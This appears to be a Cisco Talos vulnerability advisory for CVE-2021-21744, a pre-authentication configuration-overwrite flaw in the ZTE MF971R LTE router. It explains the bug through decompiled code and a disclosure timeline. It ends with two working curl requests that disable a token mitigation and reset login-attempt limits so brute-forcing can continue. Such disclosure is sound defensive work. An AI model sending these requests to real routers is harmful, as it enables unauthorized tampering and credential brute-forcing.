CVE-2021-21744
An exploitable Pre-Auth Configuration File Control vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a configuration file entry overwrite. An attacker needs to provide a URL to the victim to trigger the vulnerability.
ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb
https://www.ztedevices.com/pl/product/zte-mf971r/
5.4 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
CWE-15 - External Control of System or Configuration Setting
MF971R is a portable router with Wi-Fi support and LTE/GSM modem.
This vulnerability is present in goform_get_cmd_process
API-related code, which is a part of the ZTE MF971R web applications.
A specially-crafted URL sent by an attacker and visited by a victim can lead to arbitrary configuration file entry overwrite with a null byte.
Depending on the cmd
parameter being send to the goform_get_cmd_process
API endpoint, different actions are performed.
An interesting scenario takes place if the value sent via the cmd
parameter does not represent any of the existing API or pre-defined config entry names.
Let’s take a glance at the vulnerable code path:
Line 1 int __fastcall handler_goform_get_cmd_process(websRec *web, int a2, int a3)
Line 2 {
Line 3 (...)
Line 4 if ( (!strcmp("ok", loggedin_flag) || cmd_exists == 1) && !referer_check_or_common_cmd(web, cmd) )
Line 5 {
Line 6 index = (unsigned __int8)*multi_data;
Line 7 if ( *multi_data )
Line 8 {
Line 9 sub_20C54(web, (unsigned __int8 *)cmd);
Line 10 }
Line 11 else
Line 12 {
Line 13 do
Line 14 {
Line 15 if ( !strcmp(&g_another_commands[68 * index], cmd) )
Line 16 {
Line 17 (*(void (__fastcall **)(websRec *))&g_another_commands[68 * index + 64])(web);
Line 18 return wbsReturnStatus(web, 200);
Line 19 }
Line 20 ++index;
Line 21 }
Line 22 while ( index != 49 );
Line 23 if ( sub_52F00((int)web, a2, a3, cmd) == -1 )
Line 24 sub_1F3C4(web, cmd);
Line 25 }
Line 26 }
Line 27 else if ( *multi_data )
Line 28 {
Line 29 multi_data_handler(web, cmd);
Line 30 }
As we can see at line 4
there are few checks. Among them are “whether user is logged-in” and whether cmd
is set to API/config entry, which exist on a pre-defined list.
If both of the mentioned conditions are not met, we land at line 27
.
Here, to pass this condition, an attacker needs to pass multi_data
parameter in a GET request and then the multi_data_handler
function is executed.
Line 1 char *__fastcall multi_data_handler(websRec *wp, const char *cmd)
Line 2 {
Line 3 int param_flag; // r9
Line 4 int v6; // r6
Line 5 const char *_cmd; // r8
Line 6 int v8; // r7
Line 7 int v9; // t1
Line 8 int index; // r7
Line 9
Line 10 param_flag = sub_1B8E0(wp);
Line 11 writeHeaders(wp);
Line 12 if ( cmd && *cmd )
Line 13 {
Line 14 v6 = 0;
Line 15 _cmd = cmd;
Line 16 writeSomeXML(wp);
Line 17 while ( 1 )
Line 18 {
Line 19 v9 = *(unsigned __int8 *)_cmd++;
Line 20 v8 = v9;
Line 21 if ( !v9 )
Line 22 break;
Line 23 if ( v8 == ',' )
Line 24 {
Line 25 *((_BYTE *)_cmd - 1) = 0;
Line 26 index = 0;
Line 27 while ( strcmp(&g_commands_clone[index], cmd) )// 86 entries
Line 28 {
Line 29 index += 64;
Line 30 if ( index == 5504 )
Line 31 {
Line 32 if ( v6 != 1 )
Line 33 goto write_empty;
Line 34 break;
Line 35 }
Line 36 }
Line 37 v6 = referer_check_or_common_cmd(wp, cmd);
Line 38 if ( !v6 )
Line 39 {
Line 40 read_config(wp, cmd);
Line 41 goto LABEL_17;
Line 42 }
Line 43 v6 = 1;
Line 44 write_empty:
Line 45 writeJSON(wp, cmd, &g_default_value, 0);
Line 46 LABEL_17:
Line 47 config_update(wp, (char *)cmd);
Line 48 if ( (param_flag & 0x200000) == 0 )
Line 49 websWrite((int)wp, ",");
Line 50 cmd = _cmd;
Line 51 }
Line 52 }
Line 53 do
Line 54 {
Line 55 if ( !strcmp(&g_commands_clone[v8], cmd) )
Line 56 goto LABEL_23;
Line 57 v8 += 64;
Line 58 }
Line 59 while ( v8 != 5504 );
Line 60 if ( v6 == 1 )
Line 61 {
Line 62 LABEL_23:
Line 63 read_config(wp, cmd);
Line 64 goto LABEL_25;
Line 65 }
Line 66 writeJSON(wp, cmd, &g_default_value, 0);
Line 67 LABEL_25:
Line 68 config_update(wp, (char *)cmd);
Line 69 }
Line 70 else
Line 71 {
Line 72 zte_syslog_append(6, (int)"zte_web/zte_web_get_fw_para.c", 412, 0, "cmd is null or empty.", 0, 0, 0);
Line 73 if ( (param_flag & 0x200000) == 0 )
Line 74 return websWrite((int)wp, &g_default_value);
Line 75 writeSomeXML(wp);
Line 76 writeJSON(wp, "empty", &g_default_value, 0);
Line 77 }
Line 78 return sub_4873C(wp);
Line 79 }
Inside this function, we are interested in one scenario: When the value sent via the cmd
parameter does not exist in g_commands_clone
array, and it’s just one parameter not split with “,” (the original purpose of this method is to accept multiple commands split via “,”).
In that case, the lines 66-68
and config_update
function is executed.
Line 1 int __fastcall config_update(websRec *wp, char *nv_name)
Line 2 {
Line 3 int result; // r0
Line 4 const char *param_value; // r0
Line 5 int v6; // r0
Line 6 char nv_name_with_flag[60]; // [sp+14h] [bp-8Ch] BYREF
Line 7 char out_buffer[80]; // [sp+50h] [bp-50h] BYREF
Line 8
Line 9 memset(nv_name_with_flag, 0, sizeof(nv_name_with_flag));
Line 10 memset(out_buffer, 0, 0x40u);
Line 11 if ( !wp )
Line 12 return zte_syslog_append(6, (int)"zte_web/zte_web_get_fw_para.c", 310, 0, "wp is null.\n", 0, 0, 0);
Line 13 if ( !nv_name || !*nv_name )
Line 14 return zte_syslog_append(6, (int)"zte_web/zte_web_get_fw_para.c", 315, 0, "nv_name is null or empty.", 0, 0, 0);
Line 15 strncpy(nv_name_with_flag, nv_name, 50u);
Line 16 strcat(nv_name_with_flag, "_flag");
Line 17 param_value = (const char *)get_value_of_param(wp, nv_name_with_flag, (int)&g_default_value);
Line 18 result = strcmp(param_value, "0");
Line 19 if ( !result )
Line 20 {
Line 21 result = zte_nvconfig_read(nv_name, out_buffer, 64);
Line 22 if ( out_buffer[0] )
Line 23 {
Line 24 v6 = zte_nvconfig_write(nv_name, &g_default_value, 0);
Line 25 result = zte_nvconfig_save(v6);
Line 26 }
Line 27 }
Line 28 return result;
Line 29 }
To the value sent via the cmd
parameter, the “_flag” suffix is added at line 16
. At line 18-19
, a check is performed to make sure that the passed value for that parameter is equal to “0” . If so, the value specified in cmd
is treated as a config entry name
and there is an attempt to read its value at line 21
.
If value is not empty (line 22
), its value is updated with binary 0 at line 24
and saved at line 25
.
This can be triggered by an unauthenticated user, and there are many imporant configuration values that can be overwritten.
For example, below are a couple of particularly interesting things that an attacker can trigger by writing binary 0 to various config entries. However, there are many others.
- `web_is_support_token`: turn off mitigations related to needing to pass and calculate AD parameter hashes necessary to execute certain actions. Requires a reboot after the config is overwritten.
-` last_login_time` : there are a maximum of 4 login attempts allowed in a short time window. If the user exceeds that number, they need to wait 5 minutes to try again. By overwritting the last_login_time config entry, an attacker can instantly reset the number of attempts to 0 and continue brute-forcing.
- `MAX_Access_num`: limits the max number of connected devices to wi-fi to 1.
- `RadioOff`: this completely removes any section related with wi-fi configuration from the web panel
Turn off web_is_support_token curl -i “http://192.168.2.1/goform/goform_get_cmd_process?cmd=web_is_support_token&multi_data=1&web_is_support_token_flag=0”
Allow login brute force : curl -i “http://192.168.2.1/goform/goform_get_cmd_process?cmd=last_login_time&multi_data=1&last_login_time_flag=0”
2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched
2021-10-18 - Public release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.